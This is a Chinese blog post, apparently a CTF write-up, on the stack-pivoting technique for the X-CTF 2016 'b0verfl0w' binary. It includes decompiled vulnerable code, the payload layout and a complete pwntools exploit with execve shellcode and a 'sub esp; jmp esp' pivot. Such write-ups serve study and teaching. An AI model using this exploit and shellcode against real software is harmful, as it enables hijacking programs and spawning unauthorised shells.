美文网首页
花式栈溢出

花式栈溢出

作者: Zero_0_0 | 来源:发表于2018-10-23 09:02 被阅读0次

stack pivoting(堆栈旋转)

1.先运行一下我checksec ./b0verfl0w我们尝试输入数据。当发现数据段过长我们会显示段错误的提示!
2.我们放入IDA中查看源码 在vul函数中,我们发现了源码。

signed int vul()
{
  char s; // [sp+18h] [bp-20h]@1

  puts("\n======================");
  puts("\nWelcome to X-CTF 2016!");
  puts("\n======================");
  puts("What's your name?");
  fflush(stdout);    #清除缓存区
  fgets(&s, 50, stdin);
  printf("Hello %s.", &s);
  fflush(stdout);
  return 1;
}
fgets函数

*char *fgets(char *buf, int bufsize, FILE *stream);
*buf:字符型指针,指向用来存储所得数据的地址。
*bufsize: 整型数据,指明存储数据的大小。
*stream:文件结构体指针,将要读取的文件流。

*栈空间总大小为56byte 我们可以利用的栈空间大小为32byte, 我们的shellcode的大小就用32个字节,所以这就出现了栈溢出。
注:可以看出,源程序存在栈溢出漏洞。但是其所能溢出的字节就只有 50-0x20-4=14 个字节,所以我们很难执行一些比较好的 ROP。这里我们就考虑 stack pivoting

布置 payload: 图片.png

1.我们shellcode是需要自己记住的
2.填充的padding的数据长度用0x20-shellcode的数据长度
3.fake ebp是我们的虚拟地址,没有意义
4.0x08048504 : jmp esp 我们需要知道可以利用的gadgets段,使用ROPgadget --binary b0verfl0w --only 'jmp|ret'
5.我们需要将我们的栈空间变大,我们把栈空间向上填充40,跳转到shellcode的开始位置。

exp代码

from pwn import *
sh = process('./b0verfl0w')

shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"

sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504
payload = shellcode_x86 + (
    0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmp
sh.sendline(payload)
sh.interactive()

相关文章

  • 花式栈溢出

    stack pivoting(堆栈旋转) 1.先运行一下我checksec ./b0verfl0w我们尝试输入数据...

  • over.over

    wiki花式栈溢出上的一道例题,先checksec 一波 只开了个NX,再看一眼IDA 很明显的栈溢出漏洞,但是并...

  • pwn学习之——花式栈溢出

    第一步看看保护措施,确定方略,再看看ida里面有用信息: 看到是栈的溢出漏洞,但是发现栈空间不够写指令,又发现题目...

  • 浅说iOS为什么会上栈溢出

    简介 本文介绍了如下内容 栈的概念 为什么会发生栈溢出 栈溢出的几种栗子 怎么预防和发现栈溢出。 什么是栈? 从数...

  • 栈溢出简易指南

    栈 pwn 主题: 基本栈溢出 针对缓存区溢出防护的对策 shellcode 栈溢出的最终目的是执行shellco...

  • JVM

    1、一般什么情况会发生栈溢出、堆溢出 栈溢出(StackOverflowError) 1、栈是线程私有的,他的生命...

  • Canary机制及绕过策略-格式化字符串漏洞泄露Canary

    Canary主要用于防护栈溢出攻击。我们知道,在32位系统上,对于栈溢出漏洞,攻击者通常是通过溢出栈缓冲区,覆盖栈...

  • 2019-04-06 递归函数

    栈溢出

  • 缓冲区溢出提纲

    缓冲区溢出简单的来讲分为两种 栈溢出 堆溢出 那么什么是栈什么是堆呢 在这里简单谈一下对于堆和栈的理解 : 栈: ...

  • 无题-_-

    浅谈缓冲区溢出之栈溢出<上>

网友评论

      本文标题:花式栈溢出

      本文链接:https://www.haomeiwen.com/subject/zhkozftx.html